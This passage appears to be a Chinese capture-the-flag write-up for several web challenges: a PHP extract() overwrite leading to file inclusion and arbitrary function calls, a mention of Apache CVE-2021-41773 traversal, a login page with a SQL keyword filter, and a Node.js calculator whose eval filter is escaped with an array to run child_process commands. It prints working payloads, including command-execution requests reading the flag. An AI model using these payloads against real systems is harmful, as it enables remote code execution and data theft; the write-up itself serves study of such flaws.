是/var/www/html,所以说上层⽬录就是/var/www⽬录,但怎么才能看到它呢,先抓个包看看
# 源码
index.php
<?php | |
error_reporting(0); | |
define("main","main"); | |
include "Class.php"; | |
$temp = new Temp($_POST); | |
$temp->display($_GET['filename']); | |
?> |
Class.php
<?php | |
defined('main') or die("no!!"); | |
Class Temp{ | |
private $date=['version'=>'1.0','img'=>'https://www.apache.org/img/asf-estd-1999-logo.jpg']; | |
private $template; | |
public function __construct($data){ | |
$this->date = array_merge($this->date,$data); | |
} | |
public function getTempName($template,$dir){ | |
if($dir === 'admin'){ | |
$this->template = str_replace('..','','./template/admin/'.$template); | |
if(!is_file($this->template)){ | |
die("no!!"); | |
} | |
} | |
else{ | |
$this->template = './template/index.html'; | |
} | |
} | |
public function display($template,$space=''){ | |
extract($this->date); | |
$this->getTempName($template,$space); | |
include($this->template); | |
} | |
public function listdata($_params){ | |
$system = [ | |
'db' => '', | |
'app' => '', | |
'num' => '', | |
'sum' => '', | |
'form' => '', | |
'page' => '', | |
'site' => '', | |
'flag' => '', | |
'not_flag' => '', | |
'show_flag' => '', | |
'more' => '', | |
'catid' => '', | |
'field' => '', | |
'order' => '', | |
'space' => '', | |
'table' => '', | |
'table_site' => '', | |
'total' => '', | |
'join' => '', | |
'on' => '', | |
'action' => '', | |
'return' => '', | |
'sbpage' => '', | |
'module' => '', | |
'urlrule' => '', | |
'pagesize' => '', | |
'pagefile' => '', | |
]; | |
$param = $where = []; | |
$_params = trim($_params); | |
$params = explode(' ', $_params); | |
if (in_array($params[0], ['list','function'])) { | |
$params[0] = 'action='.$params[0]; | |
} | |
foreach ($params as $t) { | |
$var = substr($t, 0, strpos($t, '=')); | |
$val = substr($t, strpos($t, '=') + 1); | |
if (!$var) { | |
continue; | |
} | |
if (isset($system[$var])) { | |
$system[$var] = $val; | |
} else { | |
$param[$var] = $val; | |
} | |
} | |
// action | |
switch ($system['action']) { | |
case 'function': | |
if (!isset($param['name'])) { | |
return 'hacker!!'; | |
} elseif (!function_exists($param['name'])) { | |
return 'hacker!!'; | |
} | |
$force = $param['force']; | |
if (!$force) { | |
$p = []; | |
foreach ($param as $var => $t) { | |
if (strpos($var, 'param') === 0) { | |
$n = intval(substr($var, 5)); | |
$p[$n] = $t; | |
} | |
} | |
if ($p) { | |
$rt = call_user_func_array($param['name'], $p); | |
} else { | |
$rt = call_user_func($param['name']); | |
} | |
return $rt; | |
}else{ | |
return null; | |
} | |
case 'list': | |
return json_encode($this->date); | |
} | |
return null; | |
} | |
} |
# Apache 目录穿越
可以看到Apache的版本号是2.4.49,那这就是核⼼了,前段时间爆出的CVE-2021-41773中刚好就是
这个版本的⽬录穿越漏洞,那我们就利⽤这个漏洞去获取源码
# 代码审计
这里新建一个Temp类,并且调用其display函数,进去看看
发现这里存在文件包含,而且文件名可控
结合前面和 getTempName 看看,只需要传入的$dir(即$space)为admin即可进行包含
那么知道如何进行文件包含
首先POST一个值,在Temp构造的时候和$date合并为一个数组,然后调用display函数,先进行extract,然后调用getTempName函数。如果这里数组中存在键值对 "space" => "admin" 那么经过extract后$space就会被覆盖为admin。这样就可以文件包含
先去 template/admin/ ⽬录下去看 看,这个就是 template/admin/index.html ⽂件
<html lang="en"> | |
<head> | |
<meta charset="UTF-8"> | |
<meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
<title>后台</title> | |
</head> | |
<body> | |
<!--<img src="<?php echo $img;?>">--> | |
<div><?php echo $this->listdata("action=list module=$mod");?><div> | |
<h6>version: <?php echo $version;?></h6> | |
</body> | |
</html> |
这里发现会调用 listdata 方法,跟进
public function listdata($_params){ | |
$system = [ | |
'db' => '', | |
'app' => '', | |
'num' => '', | |
'sum' => '', | |
'form' => '', | |
'page' => '', | |
'site' => '', | |
'flag' => '', | |
'not_flag' => '', | |
'show_flag' => '', | |
'more' => '', | |
'catid' => '', | |
'field' => '', | |
'order' => '', | |
'space' => '', | |
'table' => '', | |
'table_site' => '', | |
'total' => '', | |
'join' => '', | |
'on' => '', | |
'action' => '', | |
'return' => '', | |
'sbpage' => '', | |
'module' => '', | |
'urlrule' => '', | |
'pagesize' => '', | |
'pagefile' => '', | |
]; | |
$param = $where = []; | |
$_params = trim($_params); // 去掉前后的空格 | |
$params = explode(' ', $_params); // 以空格为分隔符将字符串分割为数组 | |
if (in_array($params[0], ['list','function'])) { | |
$params[0] = 'action='.$params[0]; | |
} | |
foreach ($params as $t) { // 遍历新⽣成的数组 | |
$var = substr($t, 0, strpos($t, '=')); //var 为等号 前 的内容 | |
$val = substr($t, strpos($t, '=') + 1); //val 为等号 后 的内容 | |
if (!$var) { | |
continue; | |
} | |
if (isset($system[$var])) { | |
$system[$var] = $val; // 存在 $system [$var] 就重新赋值 | |
} else { | |
$param[$var] = $val; // 不存在就放在 $param 这个数组⾥ | |
} | |
} | |
// action | |
switch ($system['action']) { | |
case 'function': | |
if (!isset($param['name'])) { | |
return 'hacker!!'; | |
} elseif (!function_exists($param['name'])) { | |
return 'hacker!!'; | |
} | |
$force = $param['force']; | |
if (!$force) { | |
$p = []; | |
foreach ($param as $var => $t) { | |
if (strpos($var, 'param') === 0) { // 判断键名是否以 param 开头 | |
$n = intval(substr($var, 5));//intval () 处理字符串直接返回 | |
$p[$n] = $t; //---------> 可以有 $p [0]=$t | |
} | |
} | |
if ($p) { | |
$rt = call_user_func_array($param['name'], $p); // 利⽤点 | |
} else { | |
$rt = call_user_func($param['name']); // 利⽤点 | |
} | |
return $rt; | |
}else{ | |
return null; | |
} | |
case 'list': | |
return json_encode($this->date); | |
} | |
return null; | |
} |
先看开头
传进去的是字符串 "action=list module=$mod" ,这个$mod可以根据前面分析,通过POST变量覆盖可以控制其值 |
然后去除空格,再将其按照空格划分为数组
例如传入 : mod=1 action=function name=phpinfo
这里是将数组的键和名分开,$system中存在的键将其名放在$system中,不存在的键其值放在$param中
看看这里,中间不需要干啥只需要传入name就可以执行call_user_func($param['name'])
# payload
GET: filename=index.html | |
POST: space=admin&mod=1 action=function name=phpinfo |
在 phpinfo 中查找 flag 即可
# A Letter
# 环境搭建
docker run -v "/tmp/GFCTF-A-latter/:/var/www/html" -p 1236:80 --link mysql8:db -d theeastjun/xdebug3:7.4-apache
www.zip下载源码
# 源码
index.php
<?php | |
error_reporting(0); | |
session_start(); | |
header("content-type:text/html;charset = utf-8"); | |
if (isset($_SESSION['name'])&&($_SESSION['name']!='')){ | |
header("Location: welcome.php"); | |
} | |
?> |
login.php
<?php | |
include("conndb.php"); | |
error_reporting(0); | |
if(isset($_POST['user'])&&isset($_POST['pass'])){ | |
$user = $_POST['user']; | |
$pass = $_POST['pass']; | |
// 减少数据库查询次数,绝对不是为了埋彩蛋,绝对不是 | |
if ($user!="Coffee") { | |
die("XHU3ZWI1XHU0ZjdmXHU2ZjJiXHU1OTI5XHU3ZTQxXHU2NjFmXHU3ZWRhXHU3MGMyXHVmZjBjXHU2MjExXHU1M2VhXHU1NDNiXHU2MjRiXHU1ZmMzXHU3Njg0XHU4MmIxXHU3NGUz"); | |
} | |
# 开始过滤 | |
if(preg_match("/substr|sleep|updatexml|extractvalue|join|right|benchmark|rlike|load|into|file|terminated|replace|regexp|char|information|order|-|flag|if/i", $pass)){ | |
die("I'm sure you won't hurt me, right?"); | |
} | |
$sql = "select password from users where username='I_Love_Coffee' and password='$pass'"; | |
$res = $conn->query($sql); | |
if ($res->num_rows > 0){ | |
while($row = $res->fetch_assoc()){ | |
if ($row['password']===$pass){ | |
session_start(); | |
$_SESSION['name'] = $pass; | |
echo("welcome"); | |
} else { | |
echo("You are not the one I am waiting for"); | |
} | |
} | |
} else { | |
echo("The person I'm waiting for won't make me alone"); | |
} | |
} | |
?> |
# 代码审计
先抓包看看
进入login.php
先进行过滤,再查询
# ez_calc
# 知识点
1, nodejs 字符绕过
2, eval数组绕过
# 字符绕过
这道题进去之后是⼀个登录⻚⾯,提⽰不要爆破
查看源码
if(req.body.username.toLowerCase() !== 'admin' && req.body.username.toUpperCase() === 'ADMIN' && req.body.passwd === 'admin123'){ | |
// 登录成功,设置 session | |
} |
可以看到密码为admin123,账⼾名⼩写后不能为admin,⼤写之后为ADMIN,看似永远为假的判断
绕过它却很简单,绕过这个的办法就是利⽤特殊字符,⽐如通过Character.toUpperCose()后,ı会为
I,但它经过Charocter.toLowerCose()后并不是i,所以说账⼾名为admın,登录成功
# nodejs 命令执行
查看源码
let calc = req.body.calc; | |
let flag = false; | |
//waf | |
for (let i = 0; i < calc.length; i++) { | |
if (flag || "/(flc'\".".split``.some(v => v == calc[i])) { | |
flag = true; | |
calc = calc.slice(0, i) + "*" + calc.slice(i + 1, calc.length); | |
} | |
} | |
// 截取 | |
calc = calc.substring(0, 64); | |
// 去空 | |
calc = calc.replace(/\s+/g, ""); | |
calc = calc.replace(/\\/g, "\\\\"); | |
// ⼩明的同学过滤了⼀些⽐较危险的东西 | |
while (calc.indexOf("sh") > -1) { | |
calc = calc.replace("sh", ""); | |
} | |
while (calc.indexOf("ln") > -1) { | |
calc = calc.replace("ln", ""); | |
} | |
while (calc.indexOf("fs") > -1) { | |
calc = calc.replace("fs", ""); | |
} | |
while (calc.indexOf("x") > -1) { | |
calc = calc.replace("x", ""); | |
} | |
try { | |
result = eval(calc); | |
} |
逐个分析一下
这⾥会将输⼊参数的每⼀位进⾏检查,如果出现 /(flc'\". 中的任 意字符,则会将该字符后⾯的所有字符都变成 *
然后会将处理后的这个字符串进⾏截取操作,取前64位,在去除空格以及过滤了危险字符之后,传⼊eval中
# 字符逃逸
假如我们传⼊的不是字符串呢?这⾥我们可以尝试传⼊数组["aaaaa","bbbbb",ccccc],这
样的话calc[i]就不再是单个的字符,⽽变成了⼀个字符串了;由于数组的length为数组中元素的个
数;如果传⼊["aaaaa","bbbbb","(",]的话,在本题中就会处理成aaa***********,⽽在数组中添加元
素可以⽤calc[]=aaaaa&calc[]=bbbbb&calc[]=ccccc这种⽅式进⾏
假如说我们要让这个数组中的第⼀个五位字符的元素逃逸出来,则需要让数组的第五个元素中出现敏
感字符;⽐如说像["a(aaa","bbb","ccc","ddd","("]经过处理之后就会变成a(aaa*************,可以看到虽然说第⼀个元素中已经有了敏感元素,但它还是被逃逸了出来,后续不触发waf的元素多了没
有影响,所以说⽤这种⽅法就可以直接把我们想要的字符串逃逸出来
我们测试一下
var calc = ["a(aaa","bbb","ccc","ddd","("]; | |
console.log(calc.length); | |
for (let i = 0; i < calc.length; i++) { | |
if ("/(flc'\".".split``.some(v => v == calc[i])) { | |
console.log(i); | |
console.log(calc[i]); | |
calc = calc.slice(0, i) + "*" + calc.slice(i + 1, calc.length); | |
} | |
} | |
console.log(calc); |
经过测试,js会将数组中的元素取出, 每次取整个进行比较, 如果没比较出,那么就会直接返回失败
如果在数组中的第i个元素检测到了
由于calc = calc.slice(0, i) + "*" + calc.slice(i + 1, calc.length);calc变成字符串,calc.length变长了并且从第i+1个位置开始进行比较,第一次测试就是因为数组元素calc[4]检测到为'(' , 所以从calc[4]开始检测,于是就逃逸除了前面五个字符
现在将calc修改为下
在数组元素calc[3]中检测到了'(' , 所以从calc[4]开始检测,而"aaaa("中的'('是第五个字符,所以被过滤了
# payload
我们只需要将命令填写,然后添加数组元素,保证超过命令长度后添加一个让其找到的元素即可
calc[]=require('child_process').spawnSync('ls',['/']).stdout.toString();//&cal | |
c[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1& | |
calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[] | |
=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&cal | |
c[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1& | |
calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[] | |
=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&cal | |
c[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1& | |
calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[] | |
=1&calc[]=1&calc[]=1&calc[]=. |
发现flag名字很⻓,不好直接读取,⽽且这⾥过滤了x,不好直接利⽤exec,但是实际上这⾥是可以 绕过的,因为我们通过require导⼊的模块是⼀个Object,那么就可以通过Object.values获取到 child_process⾥⾯的各种⽅法,那么再通过数组下标[5]就可以得到execSync了,payload如下: Prolog
calc[]=Object.values(require('child_process'))[5]('cat${IFS}/G*>p')&calc[]=1&c alc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]= 1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc []=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&c alc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]= 1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc []=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&c alc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]= 1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc []=1&calc[]=1&calc[]=. |
遍历⼀下当前⽬录发现p已经成功写⼊,接下来读取p就⾏了,记得带上回显,⽤nl读就⾏ Prolog
calc[]=require('child_process').spawnSync('nl',['p']).stdout.toString();//&cal c[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1& calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[] =1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&cal c[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1& calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[] =1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&cal c[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1& calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[] =1&calc[]=1&calc[]=1&calc[]=. |